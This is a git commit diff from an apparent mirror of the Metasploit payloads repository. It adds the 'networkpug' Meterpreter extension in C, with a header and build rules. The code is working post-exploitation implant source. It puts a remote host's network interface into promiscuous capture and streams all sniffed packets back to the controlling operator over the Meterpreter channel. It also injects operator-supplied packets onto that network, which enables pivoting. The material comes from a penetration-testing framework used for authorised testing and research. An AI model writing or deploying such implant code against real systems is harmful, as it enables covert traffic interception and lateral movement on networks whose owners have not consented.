mirror of
https://github.com/rapid7/metasploit-payloads
synced 2024-11-20 14:39:22 +01:00
Initial import of networkpug, a pivoting interface using libpcap to monitor/inject packets on a interface on the remote machine.
git-svn-id: file:///home/svn/framework3/trunk@10423 4d416f70-5f16-0410-b530-b9f4589650da
This commit is contained in:
parent
99646300d3
commit
c1153272b2
@ -2,7 +2,7 @@
|
||||
# associated stuff (openssl, libpcap, etc) this is going to get very messy,
|
||||
# very quickly.
|
||||
|
||||
all: external/source/meterpreter/source/bionic/compiled/libc.so external/source/meterpreter/source/bionic/compiled/libm.so external/source/meterpreter/source/bionic/compiled/libdl.so external/source/meterpreter/source/bionic/compiled/libcrypto.so external/source/meterpreter/source/bionic/compiled/libssl.so external/source/meterpreter/source/bionic/compiled/libsupport.so external/source/meterpreter/source/bionic/compiled/libmetsrv_main.so external/source/meterpreter/source/bionic/compiled/libpcap.so data/meterpreter/msflinker_linux_x86.bin data/meterpreter/ext_server_stdapi.lso
|
||||
all: external/source/meterpreter/source/bionic/compiled/libc.so external/source/meterpreter/source/bionic/compiled/libm.so external/source/meterpreter/source/bionic/compiled/libdl.so external/source/meterpreter/source/bionic/compiled/libcrypto.so external/source/meterpreter/source/bionic/compiled/libssl.so external/source/meterpreter/source/bionic/compiled/libsupport.so external/source/meterpreter/source/bionic/compiled/libmetsrv_main.so external/source/meterpreter/source/bionic/compiled/libpcap.so data/meterpreter/msflinker_linux_x86.bin data/meterpreter/ext_server_stdapi.lso data/meterpreter/ext_server_networkpug.lso
|
||||
|
||||
external/source/meterpreter/source/bionic/compiled/libc.so: external/source/meterpreter/source/bionic/compiled
|
||||
(cd external/source/meterpreter/source/bionic/libc && ARCH=x86 TOP=${PWD} jam && cd out/x86/ && sh make.sh && [ -f libbionic.so ] )
|
||||
@ -69,3 +69,7 @@ external/source/meterpreter/source/bionic/compiled/libsupport.so:
|
||||
data/meterpreter/ext_server_stdapi.lso:
|
||||
(cd external/source/meterpreter/workspace/ext_server_stdapi && make)
|
||||
cp external/source/meterpreter/workspace/ext_server_stdapi/ext_server_stdapi.so data/meterpreter/ext_server_stdapi.lso
|
||||
|
||||
data/meterpreter/ext_server_networkpug.lso:
|
||||
(cd external/source/meterpreter/workspace/ext_server_networkpug && make)
|
||||
cp external/source/meterpreter/workspace/ext_server_networkpug/ext_server_networkpug.so data/meterpreter/ext_server_networkpug.lso
|
||||
|
491
c/meterpreter/source/extensions/networkpug/networkpug.c
Normal file
491
c/meterpreter/source/extensions/networkpug/networkpug.c
Normal file
@ -0,0 +1,491 @@
|
||||
#include "../../common/common.h"
|
||||
|
||||
#include <pcap/pcap.h>
|
||||
|
||||
#include "networkpug.h"
|
||||
|
||||
#include <sys/atomics.h>
|
||||
|
||||
typedef struct networkpug {
|
||||
char *interface;
|
||||
|
||||
// is this pug active
|
||||
volatile int active;
|
||||
|
||||
// pcap structure
|
||||
// from a quick look at pcap-linux.c, pcap_inject_linux, we do not need
|
||||
// any locking to serialize access.
|
||||
pcap_t *pcap;
|
||||
|
||||
// thread for handling recieving packets / sending to server
|
||||
THREAD *thread;
|
||||
|
||||
// XXX, do something with this. Stats on close?
|
||||
volatile int pkts_seen, pkts_injected;
|
||||
|
||||
Channel *channel;
|
||||
Remote *remote;
|
||||
|
||||
// PKS, potential race with socket writing / shutdowns
|
||||
// maybe ref count / spinlock via atomic instructions. need to think more :-)
|
||||
|
||||
} NetworkPug;
|
||||
|
||||
#define MAX_PUGS (128)
|
||||
#define MAX_MTU (1514)
|
||||
|
||||
NetworkPug pugs[MAX_PUGS];
|
||||
|
||||
LOCK *pug_lock;
|
||||
|
||||
char *packet_filter;
|
||||
|
||||
/*
|
||||
* PKS -- FIXME, we should do a single channel_write after pcap_dispatch has returned.
|
||||
*/
|
||||
|
||||
/*
|
||||
* send packet to remote channel
|
||||
*/
|
||||
|
||||
void packet_handler(u_char *user, const struct pcap_pkthdr *h, const u_char *bytes)
|
||||
{
|
||||
NetworkPug *np = (NetworkPug *)(user);
|
||||
unsigned int total_len = h->caplen + 2;
|
||||
unsigned char packet_data[total_len]; // 13a85fedd6f9555c31a921c0e5664228afcea9c5 ;)
|
||||
unsigned short int *size = (unsigned short *)(packet_data);
|
||||
|
||||
if(! np->active) {
|
||||
// begone, foul demon.
|
||||
dprintf("[%s] breaking loop", __FUNCTION__);
|
||||
pcap_breakloop(np->pcap);
|
||||
return;
|
||||
}
|
||||
|
||||
dprintf("[%s/%s] we have %d bytes to send to metasploit :-)", __FUNCTION__, np->interface, h->caplen);
|
||||
|
||||
// PKS - this approach is quite hacky. A better implementation would be a record
|
||||
// based stream, but that's a lot more work, plus would probably require significant
|
||||
// changes on the ruby side.
|
||||
|
||||
*size = htons(h->caplen);
|
||||
memcpy(&packet_data[2], bytes, h->caplen);
|
||||
|
||||
channel_write(np->channel, np->remote, NULL, 0, (PUCHAR) packet_data, total_len, NULL);
|
||||
__atomic_inc(&(np->pkts_seen));
|
||||
}
|
||||
|
||||
|
||||
/*
|
||||
* networkpug_thread handles recieving packets from libpcap, and sending to metasploit
|
||||
*/
|
||||
|
||||
void networkpug_thread(THREAD *thread)
|
||||
{
|
||||
NetworkPug *np;
|
||||
struct timeval tv;
|
||||
fd_set rfds;
|
||||
int fd;
|
||||
int count;
|
||||
|
||||
np = (NetworkPug *)(thread->parameter1);
|
||||
|
||||
fd = pcap_get_selectable_fd(np->pcap);
|
||||
|
||||
while(np->active && event_poll(thread->sigterm, 0) == FALSE) {
|
||||
tv.tv_sec = 1;
|
||||
tv.tv_usec = 0;
|
||||
|
||||
FD_ZERO(&rfds);
|
||||
FD_SET(fd, &rfds);
|
||||
|
||||
if(select(fd+1, &rfds, NULL, NULL, &tv) == 0) continue;
|
||||
|
||||
count = pcap_dispatch(np->pcap, 1000, packet_handler, (u_char *)np);
|
||||
|
||||
if(count)
|
||||
dprintf("[%s] pcap_dispatch returned %d", __FUNCTION__, count);
|
||||
|
||||
}
|
||||
dprintf("[%s/%s] instructed to shutdown, thread exiting", __FUNCTION__, np->interface);
|
||||
}
|
||||
|
||||
/*
|
||||
* Find an unused pug
|
||||
*/
|
||||
|
||||
NetworkPug *allocate_networkpug(char *interface)
|
||||
{
|
||||
int idx;
|
||||
|
||||
for(idx = 0; idx < MAX_PUGS; idx++) {
|
||||
if(! pugs[idx].active) {
|
||||
pugs[idx].interface = strdup(interface);
|
||||
return &pugs[idx];
|
||||
}
|
||||
}
|
||||
return NULL;
|
||||
}
|
||||
|
||||
/*
|
||||
* free()'s a networkpug structure as allocated by allocate_networkpug()
|
||||
* Needs to be active for cleanup to proceed.
|
||||
*/
|
||||
|
||||
void free_networkpug(NetworkPug *np, int close_channel)
|
||||
{
|
||||
int cont;
|
||||
|
||||
if(! np) {
|
||||
dprintf("[%s] There's a bug somewhere. trying to free a null networkpug", __FUNCTION__);
|
||||
return;
|
||||
}
|
||||
|
||||
dprintf("[%s] np: %p is %sactive, thread: %p, channel: %p, interface: %p, pcap: %p",
|
||||
__FUNCTION__, np, np->active ? "" : "non-", np->thread, np->channel, np->interface,
|
||||
np->pcap);
|
||||
|
||||
/*
|
||||
* There are probably some possible race conditions present here.
|
||||
* If another thread is in write/pcap inject, etc.
|
||||
*
|
||||
* Hopefully setting np->active = 0 early on and handling recieve thread
|
||||
* first will prevent any possible issues. No guarantees, however
|
||||
*/
|
||||
|
||||
|
||||
cont = __atomic_swap(0, &np->active);
|
||||
|
||||
if(! cont) {
|
||||
dprintf("[%s] Seems the pug at %p was already set free", __FUNCTION__);
|
||||
return;
|
||||
}
|
||||
|
||||
// np->active is now false.
|
||||
|
||||
if(np->thread) {
|
||||
// Thread termination will take up to 1 second
|
||||
|
||||
thread_sigterm(np->thread);
|
||||
thread_join(np->thread);
|
||||
thread_destroy(np->thread);
|
||||
}
|
||||
|
||||
if(np->channel) {
|
||||
if(close_channel == TRUE) {
|
||||
// Tell the remote side we've shut down for now.
|
||||
channel_close(np->channel, np->remote, NULL, 0, NULL);
|
||||
}
|
||||
|
||||
channel_destroy(np->channel, NULL); // channel_destroy does not look at packet it seems
|
||||
}
|
||||
|
||||
if(np->interface) {
|
||||
free(np->interface);
|
||||
}
|
||||
|
||||
if(np->pcap) {
|
||||
pcap_close(np->pcap);
|
||||
}
|
||||
|
||||
memset(np, 0, sizeof(NetworkPug));
|
||||
|
||||
dprintf("after memset ;\\ [%s] np: %p is %sactive, thread: %p, channel: %p, interface: %p, pcap: %p",
|
||||
__FUNCTION__, np, np->active ? "" : "non-", np->thread, np->channel, np->interface,
|
||||
np->pcap);
|
||||
|
||||
}
|
||||
|
||||
NetworkPug *find_networkpug(char *interface)
|
||||
{
|
||||
int idx;
|
||||
|
||||
dprintf("[%s] Looking for %s", __FUNCTION__, interface);
|
||||
|
||||
for(idx = 0; idx < MAX_PUGS; idx++) {
|
||||
if(pugs[idx].active)
|
||||
if(! strcmp(pugs[idx].interface, interface))
|
||||
return &pugs[idx];
|
||||
}
|
||||
|
||||
return NULL;
|
||||
}
|
||||
|
||||
DWORD networkpug_channel_write(Channel *channel, Packet *request,
|
||||
LPVOID context, LPVOID buffer, DWORD bufferSize, LPDWORD bytesWritten)
|
||||
{
|
||||
NetworkPug *np = (NetworkPug *)(context);
|
||||
DWORD result = ERROR_SUCCESS;
|
||||
|
||||
dprintf("[%s] context is %p", __FUNCTION__, context);
|
||||
|
||||
if(! np->active) return result;
|
||||
|
||||
dprintf("[%s] if it's a pug, it's for %s", __FUNCTION__, np->interface);
|
||||
|
||||
pcap_inject(np->pcap, buffer, bufferSize);
|
||||
*bytesWritten = bufferSize; // XXX, can't do anything if it fails really
|
||||
|
||||
__atomic_inc(&(np->pkts_injected));
|
||||
|
||||
return ERROR_SUCCESS;
|
||||
}
|
||||
|
||||
DWORD networkpug_channel_close(Channel *channel, Packet *request, LPVOID context)
|
||||
{
|
||||
int result = ERROR_SUCCESS;
|
||||
|
||||
dprintf("[%s] Channel shutdown requested. context = %p", __FUNCTION__, context);
|
||||
dprintf("[%s] pugs is at %p, and pugs[MAX_PUGS] is %p", __FUNCTION__, pugs, pugs + MAX_PUGS);
|
||||
|
||||
free_networkpug((NetworkPug *)(context), FALSE);
|
||||
|
||||
dprintf("[%s] closed channel successfully", __FUNCTION__);
|
||||
|
||||
return result;
|
||||
}
|
||||
|
||||
DWORD request_networkpug_start(Remote *remote, Packet *packet)
|
||||
{
|
||||
Packet *response = packet_create_response(packet);
|
||||
int result = ERROR_INVALID_PARAMETER;
|
||||
|
||||
char *interface;
|
||||
char *extra_filter;
|
||||
char errbuf[PCAP_ERRBUF_SIZE+4];
|
||||
|
||||
struct bpf_program bpf;
|
||||
int bpf_fail = 0;
|
||||
|
||||
NetworkPug *np = NULL;
|
||||
|
||||
PoolChannelOps chops;
|
||||
|
||||
memset(errbuf, 0, sizeof(errbuf));
|
||||
memset(&chops, 0, sizeof(PoolChannelOps));
|
||||
|
||||
lock_acquire(pug_lock);
|
||||
|
||||
do {
|
||||
interface = packet_get_tlv_value_string(packet,TLV_TYPE_NETWORKPUG_INTERFACE);
|
||||
extra_filter = packet_get_tlv_value_string(packet, TLV_TYPE_NETWORKPUG_FILTER);
|
||||
|
||||
if(! interface) {
|
||||
dprintf("[%s] No interface specified, bailing", __FUNCTION__);
|
||||
break;
|
||||
|
||||
}
|
||||
|
||||
np = find_networkpug(interface);
|
||||
if(np) {
|
||||
dprintf("[%s] Duplicate pug found for %s!", __FUNCTION__, interface);
|
||||
break;
|
||||
}
|
||||
|
||||
np = allocate_networkpug(interface);
|
||||
|
||||
np->remote = remote;
|
||||
np->pcap = pcap_open_live(interface, MAX_MTU, 1, 1000, errbuf);
|
||||
// xxx, add in filter support
|
||||
np->thread = thread_create((THREADFUNK) networkpug_thread, np, remote);
|
||||
|
||||
chops.native.context = np;
|
||||
chops.native.write = networkpug_channel_write;
|
||||
chops.native.close = networkpug_channel_close;
|
||||
// interact, read don't need to be implemented.
|
||||
|
||||
np->channel = channel_create_pool(0, CHANNEL_FLAG_SYNCHRONOUS, &chops);
|
||||
|
||||
if(np->pcap) {
|
||||
char *final_filter = NULL;
|
||||
|
||||
if(extra_filter) {
|
||||
asprintf(&final_filter, "%s and (%s)", packet_filter, extra_filter);
|
||||
} else {
|
||||
final_filter = strdup(packet_filter);
|
||||
}
|
||||
|
||||
dprintf("[%s] final filter is '%s'", __FUNCTION__, final_filter);
|
||||
|
||||
bpf_fail = pcap_compile(np->pcap, &bpf, final_filter, 1, 0);
|
||||
|
||||
free(final_filter);
|
||||
|
||||
if(! bpf_fail)
|
||||
bpf_fail = pcap_setfilter(np->pcap, &bpf);
|
||||
}
|
||||
|
||||
if(! np->pcap || ! np->thread || ! np->channel || bpf_fail) {
|
||||
dprintf("[%s] setting up network pug failed. pcap: %p, thread: %p, channel: %p, bpf_fail: %d",
|
||||
__FUNCTION__, np->pcap, np->thread, np->channel, bpf_fail);
|
||||
|
||||
if(! np->pcap) {
|
||||
dprintf("[%s] np->pcap is NULL, so errbuf is '%s'", __FUNCTION__, errbuf);
|
||||
}
|
||||
|
||||
if(bpf_fail) {
|
||||
dprintf("[%s] setting filter failed. pcap_geterr() == '%s'", __FUNCTION__, pcap_geterr(np->pcap));
|
||||
}
|
||||
|
||||
break;
|
||||
}
|
||||
|
||||
channel_set_type(np->channel, "networkpug");
|
||||
packet_add_tlv_uint(response, TLV_TYPE_CHANNEL_ID, channel_get_id(np->channel));
|
||||
np->active = 1;
|
||||
|
||||
thread_run(np->thread);
|
||||
|
||||
result = ERROR_SUCCESS;
|
||||
|
||||
} while(0);
|
||||
|
||||
if(result != ERROR_SUCCESS) {
|
||||
np->active = 1;
|
||||
free_networkpug(np, FALSE);
|
||||
}
|
||||
|
||||
lock_release(pug_lock);
|
||||
|
||||
packet_transmit_response(result, remote, response);
|
||||
|
||||
return ERROR_SUCCESS;
|
||||
}
|
||||
|
||||
DWORD request_networkpug_stop(Remote *remote, Packet *packet)
|
||||
{
|
||||
Packet *response = packet_create_response(packet);
|
||||
char *interface;
|
||||
int result = ERROR_INVALID_PARAMETER;
|
||||
NetworkPug *np;
|
||||
|
||||
lock_acquire(pug_lock);
|
||||
|
||||
do {
|
||||
interface = packet_get_tlv_value_string(packet,TLV_TYPE_NETWORKPUG_INTERFACE);
|
||||
|
||||
if(! interface) {
|
||||
dprintf("[%s] No interface specified, bailing", __FUNCTION__);
|
||||
break;
|
||||
}
|
||||
|
||||
dprintf("[%s] Shutting down %s", __FUNCTION__, interface);
|
||||
|
||||
np = find_networkpug(interface); // if close is called, it will fail.
|
||||
|
||||
if(np == NULL) {
|
||||
dprintf("[%s/%s] Unable to find interface", __FUNCTION__, interface);
|
||||
break;
|
||||
}
|
||||
|
||||
dprintf("[%s] calling free_networkpug", __FUNCTION__);
|
||||
free_networkpug(np, TRUE);
|
||||
|
||||
result = ERROR_SUCCESS;
|
||||
} while(0);
|
||||
|
||||
lock_release(pug_lock);
|
||||
|
||||
packet_transmit_response(result, remote, response);
|
||||
|
||||
return ERROR_SUCCESS;
|
||||
}
|
||||
|
||||
Command customCommands[] =
|
||||
{
|
||||
{ "networkpug_start",
|
||||
{ request_networkpug_start, { 0 }, 0 },
|
||||
{ EMPTY_DISPATCH_HANDLER },
|
||||
},
|
||||
{ "networkpug_stop",
|
||||
{ request_networkpug_stop, { 0 }, 0 },
|
||||
{ EMPTY_DISPATCH_HANDLER },
|
||||
},
|
||||
// Terminator
|
||||
{ NULL,
|
||||
{ EMPTY_DISPATCH_HANDLER },
|
||||
{ EMPTY_DISPATCH_HANDLER },
|
||||
}
|
||||
};
|
||||
|
||||
/*
|
||||
* Initialize the server extension
|
||||
*/
|
||||
DWORD __declspec(dllexport) InitServerExtension(Remote *remote)
|
||||
{
|
||||
DWORD index;
|
||||
int peername_len;
|
||||
struct sockaddr peername;
|
||||
struct sockaddr_in *peername4;
|
||||
struct sockaddr_in6 *peername6;
|
||||
int port;
|
||||
char buf[256]; // future proof :-)
|
||||
|
||||
memset(buf, 0, sizeof(buf));
|
||||
|
||||
/*
|
||||
* We require the ability to filter out our own traffic, as that would
|
||||
* quickly lead to a huge packet storm on the network if we monitor
|
||||
* the interface our traffic is on.
|
||||
*/
|
||||
|
||||
// get the address/port of the connected control socket
|
||||
peername4 = NULL;
|
||||
peername6 = NULL;
|
||||
peername_len = sizeof(peername);
|
||||
getpeername(remote->fd, &peername, &peername_len);
|
||||
|
||||
switch(peername.sa_family) {
|
||||
case PF_INET:
|
||||
peername4 = (struct sockaddr_in *)&peername;
|
||||
inet_ntop(AF_INET, &(peername4->sin_addr), buf, sizeof(buf)-1);
|
||||
port = ntohs(peername4->sin_port);
|
||||
break;
|
||||
|
||||
case PF_INET6:
|
||||
peername6 = (struct sockaddr_in6 *)&peername;
|
||||
inet_ntop(AF_INET6, &(peername6->sin6_addr), buf, sizeof(buf)-1);
|
||||
port = ntohs(peername6->sin6_port);
|
||||
break;
|
||||
|
||||
default:
|
||||
dprintf("[%s] Sorry it didn't work out :/ It's not you, it's me", __FUNCTION__);
|
||||
return ERROR_INVALID_PARAMETER;
|
||||
}
|
||||
|
||||
asprintf(&packet_filter, "not (ip%s host %s and tcp port %d)",
|
||||
peername4 ? "" : "6",
|
||||
buf,
|
||||
port
|
||||
);
|
||||
|
||||
dprintf("[%s] so our filter is '%s'", __FUNCTION__, packet_filter);
|
||||
|
||||
for (index = 0;
|
||||
customCommands[index].method;
|
||||
index++)
|
||||
command_register(&customCommands[index]);
|
||||
|
||||
pug_lock = lock_create();
|
||||
|
||||
return ERROR_SUCCESS;
|
||||
}
|
||||
|
||||
/*
|
||||
* Deinitialize the server extension
|
||||
*/
|
||||
DWORD __declspec(dllexport) DeinitServerExtension(Remote *remote)
|
||||
{
|
||||
int index;
|
||||
|
||||
for (index = 0;
|
||||
customCommands[index].method;
|
||||
index++)
|
||||
command_deregister(&customCommands[index]);
|
||||
|
||||
free(packet_filter);
|
||||
|
||||
lock_destroy(pug_lock);
|
||||
|
||||
return ERROR_SUCCESS;
|
||||
}
|
18
c/meterpreter/source/extensions/networkpug/networkpug.h
Normal file
18
c/meterpreter/source/extensions/networkpug/networkpug.h
Normal file
@ -0,0 +1,18 @@
|
||||
#ifndef NETWORKPUG_H
|
||||
#define NETWORKPUG_H
|
||||
|
||||
#define TLV_TYPE_EXTENSION_NETWORKPUG 0
|
||||
|
||||
#define TLV_TYPE_NETWORKPUG_INTERFACE \
|
||||
MAKE_CUSTOM_TLV( \
|
||||
TLV_META_TYPE_STRING, \
|
||||
TLV_TYPE_EXTENSION_NETWORKPUG, \
|
||||
TLV_EXTENSIONS + 1)
|
||||
|
||||
#define TLV_TYPE_NETWORKPUG_FILTER \
|
||||
MAKE_CUSTOM_TLV( \
|
||||
TLV_META_TYPE_STRING, \
|
||||
TLV_TYPE_EXTENSION_NETWORKPUG, \
|
||||
TLV_EXTENSIONS + 2)
|
||||
|
||||
#endif
|
39
c/meterpreter/workspace/ext_server_networkpug/Makefile
Normal file
39
c/meterpreter/workspace/ext_server_networkpug/Makefile
Normal file
@ -0,0 +1,39 @@
|
||||
VPATH=../../source/extensions/networkpug
|
||||
|
||||
OPENSSL=${PWD}/../../source/openssl/include
|
||||
COMMON=${PWD}/../../source/common
|
||||
SERVER=../../source/server
|
||||
PCAP=../../source/libpcap
|
||||
|
||||
CFLAGS=-fno-stack-protector -nostdinc -nostdlib -fPIC -DPIC -g -Wall
|
||||
CFLAGS+=-D_UNIX -D__linux__
|
||||
CFLAGS+=-I${COMMON} -I${SERVER} -I${OPENSSL} -I${PCAP}
|
||||
CFLAGS+= -I ../../source/bionic/libc/include -I ../../source/bionic/libc/kernel/common/linux/ -I ../../source/bionic/libc/kernel/common/ -I ../../source/bionic/libc/arch-x86/include/
|
||||
CFLAGS+= -I ../../source/bionic/libc/kernel/arch-x86/
|
||||
CFLAGS+= -Dwchar_t="char" -fno-builtin -D_SIZE_T_DECLARED -DElf_Size="u_int32_t"
|
||||
CFLAGS+= -D_BYTE_ORDER=_LITTLE_ENDIAN
|
||||
CFLAGS+= -lgcc -L../../source/bionic/compiled -gstabs+
|
||||
CFLAGS+= -fPIC -Os
|
||||
CFLAGS+= -I../../source/extensions/networkpug -lc -lpcap -lsupport -lmetsrv_main
|
||||
|
||||
#LDFLAGS= -fPIC -Bshareable -lc
|
||||
|
||||
ifeq ($(OSNAME), FreeBSD)
|
||||
OS= bsd
|
||||
else
|
||||
OS=$(OSNAME)
|
||||
CFLAGS+= -fno-stack-protector -D__linux__
|
||||
endif
|
||||
|
||||
objects = networkpug.o
|
||||
|
||||
all: ext_server_networkpug.so
|
||||
|
||||
|
||||
ext_server_networkpug.so: $(objects)
|
||||
$(CC) -shared $(CFLAGS) -o $@ $(objects)
|
||||
|
||||
|
||||
.PHONY: clean
|
||||
clean:
|
||||
rm -f *.o *.so *~; rm -f $(objects)
|
Loading…
Reference in New Issue
Block a user